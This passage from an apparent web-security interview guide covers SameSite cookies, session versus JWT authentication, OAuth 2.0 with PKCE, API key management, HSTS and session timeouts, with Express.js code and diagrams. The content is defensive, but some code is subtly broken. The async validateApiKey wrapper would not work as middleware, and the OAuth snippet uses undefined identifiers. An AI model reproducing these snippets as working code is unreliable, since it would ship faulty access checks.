  // For third-party embeds, must use None + Secure
  res.cookie('widget_pref', 'value', {
    sameSite: 'none',
    secure: true
  });
  res.send('Widget settings saved');
});

Mermaid Diagram:

flowchart TD
    A[Request Initiated] --> B{Is request<br/>cross-site?}
    B -->|No<br/>Same-site| C[Send cookie]
    B -->|Yes<br/>Cross-site| D{SameSite value?}

    D -->|Strict| E[Never send cookie]
    D -->|Lax| F{Request type?}
    D -->|None| G{Secure + HTTPS?}

    F -->|Top-level GET<br/>link click, typing URL| C
    F -->|POST, iframe,<br/>AJAX, img| E

    G -->|Yes| C
    G -->|No| E

    style E fill:#ffcccc
    style C fill:#ccffcc

References:

↑ Back to top

Authentication Security

What is the difference between cookies and tokens for authentication?

The 30-Second Answer: Cookies are automatically sent by browsers with every request to the same domain and stored by the browser, while tokens (like JWTs) are manually included in request headers by JavaScript and stored client-side. Cookies work better for traditional web apps and offer built-in CSRF protection with SameSite attribute, while tokens are preferred for APIs, mobile apps, and cross-domain scenarios but require XSS protection.

The 2-Minute Answer (If They Want More): Cookies are small data pieces stored by the browser and automatically attached to every HTTP request to the cookie's domain. They support httpOnly flag (preventing JavaScript access), secure flag (HTTPS-only), and SameSite attribute (CSRF protection). Session cookies store only a session ID, with user data kept server-side, making them stateful and easily revocable. The server maintains session storage (memory, Redis, database), which adds overhead but provides fine-grained control.

Tokens, typically JWTs, are stored client-side (localStorage, sessionStorage, or cookies) and manually added to request headers (usually as "Authorization: Bearer "). They're stateless—all user information is in the token itself, reducing server storage needs. However, they can't be invalidated before expiration without additional infrastructure, and if stored in localStorage, they're vulnerable to XSS attacks. Tokens excel in microservices, mobile apps, and cross-origin scenarios where cookies face restrictions.

The hybrid approach is increasingly popular: store JWTs in httpOnly cookies to get the best of both worlds—the simplicity of automatic transmission, XSS protection, and the stateless nature of JWTs. This requires CSRF protection (via CSRF tokens or SameSite cookies) but provides strong security. For SPAs and APIs, consider using refresh token rotation: short-lived access tokens in memory and refresh tokens in httpOnly cookies.

Code Example:

// Cookie-based session authentication (Express.js)
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const redis = require('redis');

// Setup session with cookies
const redisClient = redis.createClient();
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,    // XSS protection
    secure: true,       // HTTPS only
    sameSite: 'strict', // CSRF protection
    maxAge: 24 * 60 * 60 * 1000 // 24 hours
  }
}));

// Login with cookie session
app.post('/login', async (req, res) => {
  const user = await authenticateUser(req.body);
  if (user) {
    // Store user data in server-side session
    req.session.userId = user.id;
    req.session.role = user.role;
    res.json({ message: 'Logged in' });
  }
});

// Logout - destroy session immediately
app.post('/logout', (req, res) => {
  req.session.destroy();
  res.clearCookie('connect.sid'); // Session cookie name
  res.json({ message: 'Logged out' });
});

// ====================================

// Token-based authentication (JWT in Authorization header)
const jwt = require('jsonwebtoken');

// Login with token
app.post('/login-token', async (req, res) => {
  const user = await authenticateUser(req.body);
  if (user) {
    // Create stateless token with user data
    const token = jwt.sign(
      { userId: user.id, role: user.role },
      process.env.JWT_SECRET,
      { expiresIn: '1h' }
    );
    // Client must store and send this token
    res.json({ token });
  }
});

// Client-side: Store and use token
// localStorage.setItem('token', response.token);
// fetch('/api/data', {
//   headers: { 'Authorization': `Bearer ${localStorage.getItem('token')}` }
// });

// Logout - client-side only (token persists until expiration)
app.post('/logout-token', (req, res) => {
  // Client must delete token from storage
  // No server-side state to clear
  res.json({ message: 'Delete token client-side' });
});

// ====================================

// Hybrid approach: JWT in httpOnly cookie (best of both worlds)
app.post('/login-hybrid', async (req, res) => {
  const user = await authenticateUser(req.body);
  if (user) {
    const token = jwt.sign(
      { userId: user.id, role: user.role },
      process.env.JWT_SECRET,
      { expiresIn: '1h' }
    );

    // Store JWT in httpOnly cookie (automatic + XSS protected)
    res.cookie('auth_token', token, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 60 * 60 * 1000
    });

    res.json({ message: 'Logged in' });
  }
});

// Middleware automatically extracts from cookie
function authenticateHybrid(req, res, next) {
  const token = req.cookies.auth_token;
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  try {
    req.user = jwt.verify(token, process.env.JWT_SECRET);
    next();
  } catch (err) {
    res.status(403).json({ error: 'Invalid token' });
  }
}

Mermaid Diagram:

flowchart TB
    subgraph Cookie Session
        A1[Login Request] --> B1[Server Creates Session]
        B1 --> C1[Store in Redis/DB]
        C1 --> D1[Set Cookie: session_id]
        D1 --> E1[Browser Stores Cookie]
        E1 --> F1[Auto-sent on Every Request]
        F1 --> G1[Server Looks Up Session]
        G1 --> H1[Returns User Data]
    end

    subgraph Token JWT
        A2[Login Request] --> B2[Server Creates JWT]
        B2 --> C2[Sign with Secret]
        C2 --> D2[Return Token in Body]
        D2 --> E2[Client Stores in localStorage]
        E2 --> F2[Manually Add to Headers]
        F2 --> G2[Server Verifies Signature]
        G2 --> H2[Decode User Data from Token]
    end

    subgraph Hybrid
        A3[Login Request] --> B3[Server Creates JWT]
        B3 --> C3[Set httpOnly Cookie]
        C3 --> E3[Browser Stores Cookie]
        E3 --> F3[Auto-sent on Every Request]
        F3 --> G3[Server Verifies JWT]
        G3 --> H3[Decode User Data]
    end

References:

↑ Back to top

What is OAuth 2.0 and what are its security considerations?

The 30-Second Answer: OAuth 2.0 is an authorization framework that lets users grant third-party applications limited access to their resources without sharing passwords. Key security considerations include using the authorization code flow with PKCE for public clients, validating redirect URIs strictly, using state parameters to prevent CSRF attacks, securely storing client secrets, and implementing proper token expiration and rotation.

The 2-Minute Answer (If They Want More): OAuth 2.0 is a delegation protocol with four main roles: Resource Owner (user), Client (app requesting access), Authorization Server (issues tokens), and Resource Server (hosts protected data). It defines several grant types, with Authorization Code Flow being the most secure for web/mobile apps. The flow works by redirecting users to the authorization server, where they authenticate and grant permissions, then redirecting back to the client with an authorization code that's exchanged for an access token.

Critical security considerations include: always using HTTPS for all OAuth endpoints; implementing PKCE (Proof Key for Code Exchange) for mobile and SPA apps to prevent authorization code interception; strictly validating redirect URIs against a whitelist (never use wildcards); using the state parameter to prevent CSRF attacks by generating a random value, storing it in session, and verifying it matches on callback; never exposing client secrets in frontend code or mobile apps; implementing proper token storage (httpOnly cookies for web, secure storage for mobile); and using short-lived access tokens with refresh token rotation.

Additional best practices include: validating token signatures and audience claims; implementing scope-based access control to limit permissions; using the implicit flow only for legacy apps (Authorization Code + PKCE is now recommended even for SPAs); protecting against token theft through token binding or DPoP (Demonstrating Proof of Possession); monitoring for suspicious authorization patterns; implementing rate limiting on token endpoints; and requiring user re-authentication for sensitive operations even with valid tokens. For social login, verify email addresses are confirmed by the provider before trusting them.

Code Example:

// OAuth 2.0 Authorization Code Flow with PKCE (Node.js)
const crypto = require('crypto');
const axios = require('axios');
const express = require('express');
const app = express();

// OAuth 2.0 Configuration
const OAUTH_CONFIG = {
  clientId: process.env.OAUTH_CLIENT_ID,
  clientSecret: process.env.OAUTH_CLIENT_SECRET, // Server-side only!
  authorizationEndpoint: 'https://provider.com/oauth/authorize',
  tokenEndpoint: 'https://provider.com/oauth/token',
  redirectUri: 'https://myapp.com/callback',
  scope: 'read:profile read:email' // Request minimal necessary scopes
};

// Generate PKCE challenge (for public clients/SPAs)
function generatePKCE() {
  // Code verifier: random 43-128 character string
  const codeVerifier = crypto.randomBytes(32).toString('base64url');

  // Code challenge: base64url(sha256(codeVerifier))
  const codeChallenge = crypto
    .createHash('sha256')
    .update(codeVerifier)
    .digest('base64url');

  return { codeVerifier, codeChallenge };
}

// Step 1: Initiate OAuth flow
app.get('/login', (req, res) => {
  // Generate state parameter for CSRF protection
  const state = crypto.randomBytes(16).toString('hex');

  // Generate PKCE challenge
  const { codeVerifier, codeChallenge } = generatePKCE();

  // Store state and code_verifier in session (server-side)
  req.session.oauthState = state;
  req.session.codeVerifier = codeVerifier;

  // Build authorization URL
  const params = new URLSearchParams({
    response_type: 'code', // Authorization Code Flow
    client_id: OAUTH_CONFIG.clientId,
    redirect_uri: OAUTH_CONFIG.redirectUri,
    scope: OAUTH_CONFIG.scope,
    state: state, // CSRF protection
    code_challenge: codeChallenge,
    code_challenge_method: 'S256' // SHA-256 hash
  });

  const authUrl = `${OAUTH_CONFIG.authorizationEndpoint}?${params}`;

  // Redirect user to authorization server
  res.redirect(authUrl);
});

// Step 2: Handle OAuth callback
app.get('/callback', async (req, res) => {
  const { code, state, error, error_description } = req.query;

  // Check for errors from authorization server
  if (error) {
    console.error('OAuth error:', error, error_description);
    return res.status(400).send('Authorization failed');
  }

  // Validate state parameter (CSRF protection)
  if (!state || state !== req.session.oauthState) {
    console.error('State mismatch - possible CSRF attack');
    return res.status(403).send('Invalid state parameter');
  }

  // Clear state from session (single use)
  const codeVerifier = req.session.codeVerifier;
  delete req.session.oauthState;
  delete req.session.codeVerifier;

  if (!code) {
    return res.status(400).send('Authorization code missing');
  }

  try {
    // Step 3: Exchange authorization code for tokens
    const tokenResponse = await axios.post(
      OAUTH_CONFIG.tokenEndpoint,
      {
        grant_type: 'authorization_code',
        code: code,
        redirect_uri: OAUTH_CONFIG.redirectUri,
        client_id: OAUTH_CONFIG.clientId,
        client_secret: OAUTH_CONFIG.clientSecret, // Only for confidential clients
        code_verifier: codeVerifier // PKCE verification
      },
      {
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded',
          'Accept': 'application/json'
        }
      }
    );

    const { access_token, refresh_token, expires_in, token_type } = tokenResponse.data;

    // Validate token type
    if (token_type.toLowerCase() !== 'bearer') {
      throw new Error('Unexpected token type');
    }

    // Optional: Validate JWT token if using OpenID Connect
    if (access_token.split('.').length === 3) {
      const decoded = jwt.verify(access_token, JWKS_PUBLIC_KEY, {
        audience: OAUTH_CONFIG.clientId,
        issuer: 'https://provider.com'
      });
    }

    // Store tokens securely
    // For web apps: httpOnly cookies
    res.cookie('access_token', access_token, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: expires_in * 1000
    });

    if (refresh_token) {
      // Store refresh token separately with longer expiration
      res.cookie('refresh_token', refresh_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 30 * 24 * 60 * 60 * 1000 // 30 days
      });
    }

    // Fetch user profile with access token
    const userResponse = await axios.get('https://provider.com/api/user', {
      headers: {
        'Authorization': `Bearer ${access_token}`
      }
    });

    const user = userResponse.data;

    // Verify email is confirmed (for social login)
    if (!user.email_verified) {
      return res.status(403).send('Email not verified');
    }

    // Create/update user in your database
    req.session.userId = user.id;

    res.redirect('/dashboard');

  } catch (error) {
    console.error('Token exchange error:', error.response?.data || error.message);
    res.status(500).send('Authentication failed');
  }
});

// Use access token for API requests
app.get('/api/protected', async (req, res) => {
  const accessToken = req.cookies.access_token;

  if (!accessToken) {
    return res.status(401).json({ error: 'Not authenticated' });
  }

  try {
    // Make request to resource server
    const response = await axios.get('https://provider.com/api/data', {
      headers: {
        'Authorization': `Bearer ${accessToken}`
      }
    });

    res.json(response.data);
  } catch (error) {
    if (error.response?.status === 401) {
      // Token expired - try refresh
      return res.status(401).json({ error: 'Token expired' });
    }
    throw error;
  }
});

// Refresh access token using refresh token
app.post('/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;

  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }

  try {
    const tokenResponse = await axios.post(
      OAUTH_CONFIG.tokenEndpoint,
      {
        grant_type: 'refresh_token',
        refresh_token: refreshToken,
        client_id: OAUTH_CONFIG.clientId,
        client_secret: OAUTH_CONFIG.clientSecret
      },
      {
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
      }
    );

    const { access_token, refresh_token: newRefreshToken, expires_in } = tokenResponse.data;

    // Update access token
    res.cookie('access_token', access_token, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: expires_in * 1000
    });

    // Rotate refresh token if provided
    if (newRefreshToken) {
      res.cookie('refresh_token', newRefreshToken, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 30 * 24 * 60 * 60 * 1000
      });
    }

    res.json({ message: 'Token refreshed' });
  } catch (error) {
    console.error('Refresh error:', error.response?.data);
    res.clearCookie('access_token');
    res.clearCookie('refresh_token');
    res.status(401).json({ error: 'Refresh failed' });
  }
});

// Validate redirect URI (whitelist approach)
function isValidRedirectUri(uri) {
  const allowedRedirects = [
    'https://myapp.com/callback',
    'https://staging.myapp.com/callback'
    // Never use wildcards like 'https://*.myapp.com/*'
  ];

  return allowedRedirects.includes(uri);
}

Mermaid Diagram:

sequenceDiagram
    participant U as User
    participant C as Client App
    participant AS as Authorization Server
    participant RS as Resource Server

    Note over C: Generate state + PKCE challenge
    U->>C: Click "Login with OAuth"
    C->>C: state = random(), code_verifier = random()
    C->>C: code_challenge = SHA256(code_verifier)
    C->>AS: Redirect to /authorize?client_id&redirect_uri&state&code_challenge

    AS->>U: Show login & consent screen
    U->>AS: Authenticate & grant permissions
    AS->>AS: Validate redirect_uri (strict whitelist)
    AS->>C: Redirect to callback?code=AUTH_CODE&state=STATE

    C->>C: Verify state matches stored value
    C->>AS: POST /token with code + code_verifier + client_secret
    AS->>AS: Verify code_challenge = SHA256(code_verifier)
    AS->>AS: Verify client_secret (confidential clients)
    AS->>C: Return access_token + refresh_token

    C->>C: Store tokens securely (httpOnly cookie)
    C->>RS: GET /api/user (Authorization: Bearer access_token)
    RS->>RS: Validate token signature & expiration
    RS->>C: Return user data

    Note over U,RS: --- Access token expired ---

    C->>AS: POST /token (grant_type=refresh_token)
    AS->>C: Return new access_token + refresh_token
    C->>C: Rotate tokens (invalidate old)

References:

↑ Back to top

API Security

What is API key security and how do you protect API keys?

The 30-Second Answer: API keys are secret tokens that authenticate and identify applications accessing an API. I protect them by never hardcoding keys in code, using environment variables or secret management services, implementing key rotation policies, applying scope limitations, monitoring usage patterns, and using additional authentication layers like OAuth 2.0 for sensitive operations.

The 2-Minute Answer (If They Want More):

API keys are credentials that identify the calling application and control access to API resources. However, they're often mishandled, leading to security breaches. Common mistakes include committing keys to version control, embedding them in client-side code, sharing keys across environments, and never rotating them.

Proper API key management starts with generation: use cryptographically secure random generators to create long, unpredictable keys (at least 32 characters). Store keys securely using environment variables, secret management services (AWS Secrets Manager, HashiCorp Vault), or encrypted configuration files - never in source code. Use different keys for development, staging, and production environments.

Implement principle of least privilege by scoping API keys to specific permissions and resources. For example, a key for reading user data shouldn't have write permissions. Set expiration dates and implement automatic rotation policies. Monitor API key usage for anomalies like requests from unexpected IP addresses, unusual request volumes, or access to unauthorized resources.

For enhanced security, combine API keys with other authentication methods: use API keys for application identification but require OAuth 2.0 or JWT tokens for user-specific actions. Implement IP whitelisting when possible, use HTTPS exclusively to prevent key interception, and provide key revocation capabilities. Consider using API key hashing on the server side (similar to password hashing) so even database breaches don't expose working keys.

Code Example:

// 1. Generating secure API keys
const crypto = require('crypto');

function generateApiKey() {
  // Generate 32 random bytes, convert to base64
  return crypto.randomBytes(32).toString('base64url');
  // Example: 'vZ3k9Lm4nP2qR8sT5uW7xY0zA1bC3dE4fF6gG8hH9iI'
}

// Hash API key for storage (like password hashing)
function hashApiKey(apiKey) {
  return crypto
    .createHash('sha256')
    .update(apiKey)
    .digest('hex');
}

// 2. Storing API keys securely
// .env file (NEVER commit to version control)
/*
API_KEY=your-secret-key-here
DATABASE_URL=postgresql://...
AWS_SECRET_KEY=...
*/

// Load environment variables
require('dotenv').config();

// Use API keys from environment
const apiKey = process.env.API_KEY;

// 3. API Key middleware with scopes and rate limiting
const express = require('express');
const app = express();

// Database model for API keys
const apiKeySchema = {
  keyHash: String, // Hashed version of the key
  name: String, // Key description
  userId: String, // Owner
  scopes: [String], // ['read:users', 'write:posts']
  rateLimitTier: String, // 'free', 'premium', 'enterprise'
  expiresAt: Date,
  lastUsedAt: Date,
  createdAt: Date,
  ipWhitelist: [String], // Optional IP restrictions
  isActive: Boolean
};

// Middleware to validate API keys
async function validateApiKey(requiredScopes = []) {
  return async (req, res, next) => {
    // 1. Extract API key from header
    const apiKey = req.headers['x-api-key'];

    if (!apiKey) {
      return res.status(401).json({
        error: 'API key required',
        message: 'Please provide a valid API key in X-API-Key header'
      });
    }

    // 2. Hash the provided key
    const keyHash = hashApiKey(apiKey);

    // 3. Look up key in database (using hash)
    const keyRecord = await db.apiKeys.findOne({
      keyHash,
      isActive: true
    });

    if (!keyRecord) {
      // Log failed attempt
      await logSecurityEvent({
        type: 'invalid_api_key',
        ip: req.ip,
        timestamp: new Date()
      });

      return res.status(401).json({
        error: 'Invalid API key'
      });
    }

    // 4. Check expiration
    if (keyRecord.expiresAt && keyRecord.expiresAt < new Date()) {
      return res.status(401).json({
        error: 'API key expired',
        message: 'Please generate a new API key'
      });
    }

    // 5. Check IP whitelist if configured
    if (keyRecord.ipWhitelist && keyRecord.ipWhitelist.length > 0) {
      if (!keyRecord.ipWhitelist.includes(req.ip)) {
        await logSecurityEvent({
          type: 'ip_not_whitelisted',
          keyId: keyRecord._id,
          ip: req.ip,
          timestamp: new Date()
        });

        return res.status(403).json({
          error: 'Access denied from this IP address'
        });
      }
    }

    // 6. Check scopes
    const hasRequiredScopes = requiredScopes.every(scope =>
      keyRecord.scopes.includes(scope)
    );

    if (!hasRequiredScopes) {
      return res.status(403).json({
        error: 'Insufficient permissions',
        required: requiredScopes,
        provided: keyRecord.scopes
      });
    }

    // 7. Update last used timestamp
    await db.apiKeys.updateOne(
      { _id: keyRecord._id },
      { lastUsedAt: new Date() }
    );

    // 8. Attach key info to request for rate limiting
    req.apiKey = {
      id: keyRecord._id,
      tier: keyRecord.rateLimitTier,
      userId: keyRecord.userId,
      scopes: keyRecord.scopes
    };

    next();
  };
}

// 4. Usage with different scopes
app.get('/api/users',
  validateApiKey(['read:users']),
  async (req, res) => {
    // Only accessible with 'read:users' scope
    const users = await db.users.find();
    res.json(users);
  }
);

app.post('/api/users',
  validateApiKey(['write:users']),
  async (req, res) => {
    // Only accessible with 'write:users' scope
    const user = await db.users.create(req.body);
    res.status(201).json(user);
  }
);

// 5. API key management endpoints
app.post('/api/keys/create',
  authenticateUser, // User must be logged in
  async (req, res) => {
    const { name, scopes, expiresInDays } = req.body;

    // Generate new API key
    const apiKey = generateApiKey();
    const keyHash = hashApiKey(apiKey);

    // Calculate expiration
    const expiresAt = new Date();
    expiresAt.setDate(expiresAt.getDate() + (expiresInDays || 90));

    // Store in database
    const keyRecord = await db.apiKeys.create({
      keyHash,
      name,
      userId: req.user.id,
      scopes: scopes || ['read:basic'],
      rateLimitTier: req.user.subscription || 'free',
      expiresAt,
      createdAt: new Date(),
      isActive: true
    });

    // Return the actual key ONCE (never stored in plain text)
    res.status(201).json({
      message: 'API key created. Save this key securely - it will not be shown again.',
      key: apiKey, // Only shown during creation
      keyId: keyRecord._id,
      expiresAt: keyRecord.expiresAt,
      scopes: keyRecord.scopes
    });
  }
);

app.post('/api/keys/:keyId/rotate',
  authenticateUser,
  async (req, res) => {
    const keyRecord = await db.apiKeys.findOne({
      _id: req.params.keyId,
      userId: req.user.id
    });

    if (!keyRecord) {
      return res.status(404).json({ error: 'Key not found' });
    }

    // Generate new key
    const newApiKey = generateApiKey();
    const newKeyHash = hashApiKey(newApiKey);

    // Update key in database
    await db.apiKeys.updateOne(
      { _id: keyRecord._id },
      { keyHash: newKeyHash }
    );

    res.json({
      message: 'API key rotated successfully',
      key: newApiKey
    });
  }
);

app.delete('/api/keys/:keyId',
  authenticateUser,
  async (req, res) => {
    await db.apiKeys.updateOne(
      { _id: req.params.keyId, userId: req.user.id },
      { isActive: false }
    );

    res.json({ message: 'API key revoked' });
  }
);

// 6. Client-side: Never expose API keys in frontend code
// BAD - hardcoded in JavaScript
const badExample = () => {
  fetch('https://api.example.com/data', {
    headers: {
      'X-API-Key': 'sk_live_abc123...' // NEVER DO THIS
    }
  });
};

// GOOD - Use backend proxy
const goodExample = () => {
  // Frontend calls your backend
  fetch('https://yourdomain.com/api/proxy/data', {
    credentials: 'include' // Use session cookies
  });
};

// Your backend proxies to external API
app.get('/api/proxy/data', authenticateUser, async (req, res) => {
  // API key stored securely on server
  const response = await fetch('https://api.example.com/data', {
    headers: {
      'X-API-Key': process.env.EXTERNAL_API_KEY
    }
  });

  const data = await response.json();
  res.json(data);
});

// 7. Monitoring and alerting
async function monitorApiKeyUsage() {
  // Check for suspicious patterns
  const suspiciousKeys = await db.apiKeys.aggregate([
    {
      $lookup: {
        from: 'api_logs',
        localField: '_id',
        foreignField: 'keyId',
        as: 'recentLogs'
      }
    },
    {
      $project: {
        keyId: '$_id',
        uniqueIps: { $size: { $setUnion: '$recentLogs.ip' } },
        requestCount: { $size: '$recentLogs' }
      }
    },
    {
      $match: {
        $or: [
          { uniqueIps: { $gt: 10 } }, // Key used from many IPs
          { requestCount: { $gt: 10000 } } // Unusual volume
        ]
      }
    }
  ]);

  // Alert on suspicious activity
  if (suspiciousKeys.length > 0) {
    await sendSecurityAlert({
      type: 'suspicious_api_key_usage',
      keys: suspiciousKeys
    });
  }
}

Mermaid Diagram:

flowchart TD
    A[API Request] --> B{API Key in Header?}
    B -->|No| C[401 Unauthorized]
    B -->|Yes| D[Hash Provided Key]
    D --> E{Key Hash Exists in DB?}
    E -->|No| F[401 Invalid Key]
    E -->|Yes| G{Key Expired?}
    G -->|Yes| H[401 Key Expired]
    G -->|No| I{IP Whitelisted?}
    I -->|No| J[403 IP Not Allowed]
    I -->|Yes| K{Has Required Scopes?}
    K -->|No| L[403 Insufficient Permissions]
    K -->|Yes| M{Within Rate Limit?}
    M -->|No| N[429 Rate Limit Exceeded]
    M -->|Yes| O[Process Request]
    O --> P[Update Last Used Time]
    P --> Q[Return Response]

    subgraph "Key Lifecycle"
    R[Generate] --> S[Store Hash]
    S --> T[Use]
    T --> U[Rotate]
    U --> V[Revoke]
    end

References:

↑ Back to top

HTTPS and Transport Security

What is HSTS (HTTP Strict Transport Security)?

The 30-Second Answer: HSTS is a security header that forces browsers to always use HTTPS connections for a domain, even if users type "http://" or click on HTTP links. Once a browser receives the HSTS header, it automatically upgrades all HTTP requests to HTTPS for the specified duration, preventing downgrade attacks and eliminating the brief vulnerability window during HTTP-to-HTTPS redirects.

The 2-Minute Answer (If They Want More):

HTTP Strict Transport Security (HSTS) is a web security policy mechanism that protects against protocol downgrade attacks and cookie hijacking. When a server sends the HSTS header, the browser stores this policy and enforces HTTPS for all future connections to that domain, typically for a year or more. This happens entirely client-side, meaning the browser won't even attempt HTTP connections once the policy is cached.

The HSTS header includes three key directives: max-age (how long to remember the policy in seconds), includeSubDomains (optional, applies policy to all subdomains), and preload (optional, indicates the domain should be included in browsers' built-in HSTS lists). The preload directive is particularly powerful—domains can submit to the HSTS preload list, which is hardcoded into browsers, protecting even the very first visit to a site.

HSTS solves several critical problems. It prevents SSL stripping attacks where attackers intercept the initial HTTP request and prevent the upgrade to HTTPS. It eliminates the vulnerability window during 301/302 redirects from HTTP to HTTPS. It protects against accidental HTTP connections caused by typing errors, bookmarks, or third-party links. However, it's crucial to understand that HSTS only works after the first successful HTTPS connection—the initial visit is still vulnerable unless the domain is on the preload list.

Common implementation mistakes include setting too short a max-age (should be at least one year), applying includeSubDomains without ensuring all subdomains support HTTPS, or enabling preload without understanding it's difficult to reverse. You should thoroughly test HSTS on a staging environment before deploying to production, starting with a short max-age and gradually increasing it.

Code Example:

// Express.js HSTS implementation
const express = require('express');
const helmet = require('helmet');
const app = express();

// Using Helmet middleware for HSTS
app.use(helmet.hsts({
  maxAge: 31536000,           // 1 year in seconds
  includeSubDomains: true,    // Apply to all subdomains
  preload: true               // Allow preload list inclusion
}));

// Manual HSTS header implementation
app.use((req, res, next) => {
  // Only set HSTS if connection is already HTTPS
  if (req.secure) {
    res.setHeader(
      'Strict-Transport-Security',
      'max-age=31536000; includeSubDomains; preload'
    );
  }
  next();
});

// Gradual rollout approach (recommended)
const hstsMiddleware = (req, res, next) => {
  if (req.secure) {
    const isProduction = process.env.NODE_ENV === 'production';
    const maxAge = isProduction ? 31536000 : 300; // 1 year prod, 5 min dev

    let hstsHeader = `max-age=${maxAge}`;

    if (isProduction) {
      hstsHeader += '; includeSubDomains';

      // Only add preload after thoroughly testing
      if (process.env.HSTS_PRELOAD === 'true') {
        hstsHeader += '; preload';
      }
    }

    res.setHeader('Strict-Transport-Security', hstsHeader);
  }
  next();
};

app.use(hstsMiddleware);

// Apache configuration
/*
<VirtualHost *:443>
    # Enable HSTS
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
</VirtualHost>
*/

// Nginx configuration
/*
server {
    listen 443 ssl http2;

    # HSTS (ngx_http_headers_module required)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
*/

// Testing HSTS status
function checkHSTSStatus() {
  // In browser console, check if HSTS is active
  fetch('https://example.com', { method: 'HEAD' })
    .then(response => {
      const hsts = response.headers.get('strict-transport-security');
      console.log('HSTS Header:', hsts);

      // Check if domain is in browser's HSTS cache
      // Chrome: chrome://net-internals/#hsts
      // Firefox: about:permissions
    });
}

Mermaid Diagram:

flowchart TD
    A[User visits http://example.com] --> B{First Visit?}
    B -->|Yes, not in preload list| C[HTTP request sent]
    C --> D[Server redirects to HTTPS]
    D --> E[HTTPS connection established]
    E --> F[Server sends HSTS header]
    F --> G[Browser caches HSTS policy]

    B -->|No, HSTS cached| H[Browser upgrades to HTTPS]
    H --> E

    B -->|Domain in preload list| H

    G --> I[Future visits for max-age period]
    I --> J[Browser automatically uses HTTPS]
    J --> K{All requests succeed via HTTPS}
    K -->|Yes| L[HSTS policy renewed]
    K -->|No| M[Show security error - no HTTP fallback]

References:

↑ Back to top

Session Security

What is session timeout and why is it important?

The 30-Second Answer: Session timeout automatically invalidates sessions after a period of inactivity (idle timeout) or maximum lifetime (absolute timeout). It's critical for security because it limits the window for session hijacking, prevents unauthorized access to abandoned sessions, and reduces the impact of stolen credentials. I implement both timeout types based on application sensitivity.

The 2-Minute Answer (If They Want More): Session timeouts are a fundamental security control that balances usability with protection. There are two distinct types that serve different purposes: idle timeout and absolute timeout. Both are necessary for comprehensive session security.

Idle timeout (also called inactivity timeout) invalidates a session after a specified period without user activity. This protects against users who leave their workstations unlocked or close their browsers without logging out. The appropriate idle timeout depends on the application's sensitivity: banking applications typically use 5-15 minutes, corporate applications 30-60 minutes, and consumer applications might allow several hours. The key is detecting genuine inactivity versus background activity (like automatic polling) - only meaningful user interactions should reset the idle timer.

Absolute timeout (also called maximum session lifetime) invalidates sessions after a fixed duration regardless of activity. Even if a user is actively using the application, their session expires after this period and they must re-authenticate. This limits the exposure window if a session is compromised and ensures fresh authentication periodically. Absolute timeouts are typically longer than idle timeouts (4-24 hours) and are crucial for high-security applications. They also ensure session data doesn't become stale if your authorization model changes.

Implementing effective timeouts requires storing both the creation timestamp and last activity timestamp with each session. Server-side enforcement is essential - never rely solely on client-side timers as they can be manipulated. When a session times out, ensure it's completely destroyed server-side, not just marked as expired. Provide clear user feedback about impending timeouts in sensitive applications, optionally with activity-based session extension prompts.

Different endpoints may warrant different timeout policies. For example, password changes or financial transactions might require recent authentication even within an active session ("step-up authentication"), while browsing product catalogs can have lenient timeouts. Consider implementing a sliding scale where sensitive operations enforce stricter timeout checks.

Code Example (Comprehensive Timeout Implementation):

// Session timeout configuration
const TIMEOUT_CONFIG = {
  // Idle timeout by application type
  idle: {
    banking: 10 * 60 * 1000,        // 10 minutes
    corporate: 30 * 60 * 1000,      // 30 minutes
    ecommerce: 2 * 60 * 60 * 1000,  // 2 hours
    social: 7 * 24 * 60 * 60 * 1000 // 7 days
  },

  // Absolute timeout by application type
  absolute: {
    banking: 4 * 60 * 60 * 1000,    // 4 hours
    corporate: 8 * 60 * 60 * 1000,  // 8 hours
    ecommerce: 24 * 60 * 60 * 1000, // 24 hours
    social: 30 * 24 * 60 * 60 * 1000 // 30 days
  },

  // Step-up authentication timeout (for sensitive operations)
  stepUp: 5 * 60 * 1000, // 5 minutes - recent auth required

  // Warning before timeout (notify user)
  warningBefore: 2 * 60 * 1000 // 2 minutes warning
};

class SessionTimeoutManager {
  constructor(config) {
    this.idleTimeout = config.idle;
    this.absoluteTimeout = config.absolute;
    this.stepUpTimeout = config.stepUp;
  }

  // Create session with timestamps
  createSession(userId, metadata = {}) {
    const now = Date.now();
    return {
      userId,
      createdAt: now,           // For absolute timeout
      lastActivity: now,        // For idle timeout
      lastAuthTime: now,        // For step-up authentication
      ...metadata
    };
  }

  // Check if session is valid
  validateTimeout(session) {
    const now = Date.now();
    const sessionAge = now - session.createdAt;
    const idleTime = now - session.lastActivity;

    // Check absolute timeout
    if (sessionAge > this.absoluteTimeout) {
      return {
        valid: false,
        reason: 'ABSOLUTE_TIMEOUT',
        message: 'Maximum session duration exceeded. Please login again.',
        timeoutType: 'absolute',
        exceededBy: sessionAge - this.absoluteTimeout
      };
    }

    // Check idle timeout
    if (idleTime > this.idleTimeout) {
      return {
        valid: false,
        reason: 'IDLE_TIMEOUT',
        message: 'Session expired due to inactivity. Please login again.',
        timeoutType: 'idle',
        exceededBy: idleTime - this.idleTimeout
      };
    }

    // Calculate time until timeout (for warning)
    const timeUntilIdle = this.idleTimeout - idleTime;
    const timeUntilAbsolute = this.absoluteTimeout - sessionAge;
    const timeUntilTimeout = Math.min(timeUntilIdle, timeUntilAbsolute);

    return {
      valid: true,
      timeUntilTimeout,
      timeUntilIdle,
      timeUntilAbsolute,
      shouldWarn: timeUntilTimeout < TIMEOUT_CONFIG.warningBefore
    };
  }

  // Check if step-up authentication is required for sensitive operations
  requiresStepUp(session) {
    const timeSinceAuth = Date.now() - session.lastAuthTime;
    return timeSinceAuth > this.stepUpTimeout;
